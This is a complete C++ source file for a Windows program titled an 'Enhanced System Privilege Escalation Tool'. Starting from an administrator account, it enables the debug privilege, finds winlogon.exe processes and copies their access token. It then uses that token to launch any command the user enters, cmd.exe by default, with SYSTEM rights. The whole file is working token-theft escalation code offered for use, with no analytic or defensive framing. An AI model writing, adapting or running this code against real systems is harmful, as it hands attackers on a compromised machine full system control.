#ifndef _WIN32
	#include <stdio.h>
	int main()
	{
		printf("This Program only runs in Windows mode");
		return 0;
	}
#else
	#include <windows.h>
	#include <iostream>
	#include <tlhelp32.h>
	#include <vector>
	#include <string>

	class SystemPrivilegeEscalator
	{
	private:
		HANDLE hProcess, hToken, hNewToken;

	public:
		SystemPrivilegeEscalator() : hProcess(NULL), hToken(NULL), hNewToken(NULL) {}

		~SystemPrivilegeEscalator()
		{
			cleanup();
		}

		void cleanup()
		{
			if (hNewToken)
				CloseHandle(hNewToken);
			if (hToken)
				CloseHandle(hToken);
			if (hProcess)
				CloseHandle(hProcess);
		}

		BOOL enableDebugPrivilege()
		{
			HANDLE hToken;
			TOKEN_PRIVILEGES tp;
			LUID luid;

			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
			{
				std::wcout << L"[ERROR] OpenProcessToken failed: " << GetLastError() << std::endl;
				return FALSE;
			}

			if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
			{
				std::wcout << L"[ERROR] LookupPrivilegeValue failed: " << GetLastError() << std::endl;
				CloseHandle(hToken);
				return FALSE;
			}

			tp.PrivilegeCount = 1;
			tp.Privileges[0].Luid = luid;
			tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
			{
				std::wcout << L"[ERROR] AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
				CloseHandle(hToken);
				return FALSE;
			}

			if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
			{
				std::wcout << L"[WARNING] Token does not have the specified privilege" << std::endl;
				CloseHandle(hToken);
				return FALSE;
			}

			CloseHandle(hToken);
			std::wcout << L"[SUCCESS] Debug privilege enabled" << std::endl;
			return TRUE;
		}

		std::vector<DWORD> findAllWinlogonPids()
		{
			std::vector<DWORD> pids;
			PROCESSENTRY32W pe = {sizeof(pe)};

			HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
			if (hSnapshot == INVALID_HANDLE_VALUE)
			{
				std::wcout << L"[ERROR] CreateToolhelp32Snapshot failed: " << GetLastError() << std::endl;
				return pids;
			}

			if (Process32FirstW(hSnapshot, &pe))
			{
				do
				{
					if (wcscmp(pe.szExeFile, L"winlogon.exe") == 0)
					{
						pids.push_back(pe.th32ProcessID);
						std::wcout << L"[INFO] Found winlogon.exe - PID: " << pe.th32ProcessID << std::endl;
					}
				} while (Process32NextW(hSnapshot, &pe));
			}

			CloseHandle(hSnapshot);
			return pids;
		}

		BOOL duplicateToken(DWORD pid)
		{
			hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
			if (!hProcess)
			{
				std::wcout << L"[ERROR] OpenProcess failed for PID " << pid << ": " << GetLastError() << std::endl;
				return FALSE;
			}

			if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hToken))
			{
				std::wcout << L"[ERROR] OpenProcessToken failed: " << GetLastError() << std::endl;
				return FALSE;
			}

			if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken))
			{
				std::wcout << L"[ERROR] DuplicateTokenEx failed: " << GetLastError() << std::endl;
				return FALSE;
			}

			std::wcout << L"[SUCCESS] Token duplicated successfully" << std::endl;
			return TRUE;
		}

		BOOL createSystemProcess(const std::wstring &userCmdLine)
		{
			STARTUPINFOW si = {sizeof(si)};
			PROCESS_INFORMATION pi = {0};

			wchar_t desktop[] = L"winsta0\\default";

			wchar_t cmdLine[1024];
			wcsncpy(cmdLine, userCmdLine.c_str(), sizeof(cmdLine) / sizeof(wchar_t) - 1);
			cmdLine[sizeof(cmdLine) / sizeof(wchar_t) - 1] = L'\0'; // 确保以空字符结束

			si.lpDesktop = desktop;
			si.dwFlags = STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_SHOW;

			std::wcout << L"[INFO] Attempting to create SYSTEM process with command: " << cmdLine << std::endl;

			if (CreateProcessAsUserW(hNewToken, NULL, cmdLine, NULL, NULL, FALSE,
									CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
									NULL, NULL, &si, &pi))
			{
				std::wcout << L"[SUCCESS] SYSTEM process created! PID: " << pi.dwProcessId << std::endl;
				CloseHandle(pi.hThread);
				CloseHandle(pi.hProcess);
				return TRUE;
			}

			DWORD lastError = GetLastError();
			std::wcout << L"[WARNING] CreateProcessAsUserW failed: " << lastError << std::endl;

			if (CreateProcessWithTokenW(hNewToken, LOGON_WITH_PROFILE, NULL, cmdLine,
										CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
			{
				std::wcout << L"[SUCCESS] SYSTEM process created with token! PID: " << pi.dwProcessId << std::endl;
				CloseHandle(pi.hThread);
				CloseHandle(pi.hProcess);
				return TRUE;
			}

			std::wcout << L"[ERROR] CreateProcessWithTokenW also failed: " << GetLastError() << std::endl;
			return FALSE;
		}

		void printErrorDetails(DWORD errorCode)
		{
			switch (errorCode)
			{
			case 5:
				std::wcout << L"[TIP] ERROR_ACCESS_DENIED - Run as Administrator" << std::endl;
				break;
			case 1314:
				std::wcout << L"[TIP] ERROR_PRIVILEGE_NOT_HELD - Check token privileges" << std::endl;
				break;
			case 1326:
				std::wcout << L"[TIP] ERROR_LOGON_FAILURE - Logon issue" << std::endl;
				break;
			case 1347:
				std::wcout << L"[TIP] ERROR_CANNOT_IMPERSONATE - Cannot impersonate token" << std::endl;
				break;
			default:
				std::wcout << L"[TIP] Check Windows security policies and UAC settings" << std::endl;
				break;
			}
		}
	};

	int main()
	{
		std::wcout << L"=== ENHANCED SYSTEM PRIVILEGE ESCALATION TOOL ===" << std::endl;
		std::wcout << L"===================================================" << std::endl;

		std::wstring userCommandLine;
		std::wcout << L"\n[INPUT] Enter the command line to execute with SYSTEM privileges: ";
		std::wcout << L"[HINT] Examples: cmd.exe, powershell.exe, notepad.exe, etc." << std::endl;
		std::wcout << L"[INPUT] Command: ";
		std::getline(std::wcin, userCommandLine);

		if (userCommandLine.empty())
		{
			userCommandLine = L"cmd.exe";
			std::wcout << L"[INFO] Using default command: " << userCommandLine << std::endl;
		}

		SystemPrivilegeEscalator escalator;

		// Step 1: Enable debug privilege
		if (!escalator.enableDebugPrivilege())
		{
			std::wcout << L"[FAILURE] Debug privilege required. Run as Administrator." << std::endl;
			system("pause");
			return 1;
		}

		// Step 2: Find all winlogon processes
		auto pids = escalator.findAllWinlogonPids();
		if (pids.empty())
		{
			std::wcout << L"[FAILURE] No winlogon processes found." << std::endl;
			system("pause");
			return 1;
		}

		BOOL success = FALSE;

		// Try each winlogon process until one works
		for (DWORD pid : pids)
		{
			std::wcout << L"\n[INFO] Attempting escalation using PID: " << pid << std::endl;

			if (escalator.duplicateToken(pid))
			{
				if (escalator.createSystemProcess(userCommandLine))
				{
					success = TRUE;
					break;
				}
			}

			std::wcout << L"[INFO] Failed with PID " << pid << L", trying next..." << std::endl;
		}

		if (success)
		{
			std::wcout << L"\n[SUCCESS] SYSTEM privilege escalation completed!" << std::endl;
			std::wcout << L"[INFO] A new process with SYSTEM privileges should be visible." << std::endl;
		}
		else
		{
			std::wcout << L"\n[FAILURE] Unable to escalate privileges with any winlogon process." << std::endl;
			std::wcout << L"[TIP] This may require additional privileges or different approach." << std::endl;
			system("pause");
			return 1;
		}

		// Keep console open to see results
		std::wcout << L"\nPress Enter to exit..." << std::endl;
		std::wcin.get();

		return 0;
	}
#endif